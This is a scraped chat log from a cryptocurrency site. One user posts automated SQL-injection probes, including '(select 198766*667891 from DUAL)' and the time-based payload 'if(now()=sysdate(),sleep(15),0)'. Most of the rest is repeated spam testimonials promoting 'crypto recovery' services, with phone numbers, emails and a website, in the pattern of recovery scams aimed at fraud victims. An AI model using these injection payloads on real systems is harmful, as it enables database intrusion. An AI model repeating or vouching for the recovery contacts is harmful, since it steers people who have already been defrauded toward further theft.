  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:28 pHqghUme

    @@olQP6

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891 from DUAL)

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891)

  • 09.10.25 08:30 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:33 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:35 pHqghUme

    e

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:40 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:40 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:41 pHqghUme

    e

  • 09.10.25 08:41 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:42 pHqghUme

    e

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 11.10.25 04:41 luciajessy3

    Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…

  • 11.10.25 10:44 Tonerdomark

    A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.

  • 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

Для участия в Чате вам необходим бесплатный аккаунт pro-blockchain.com Войти Регистрация
Есть вопросы?
С вами на связи 24/7
Help Icon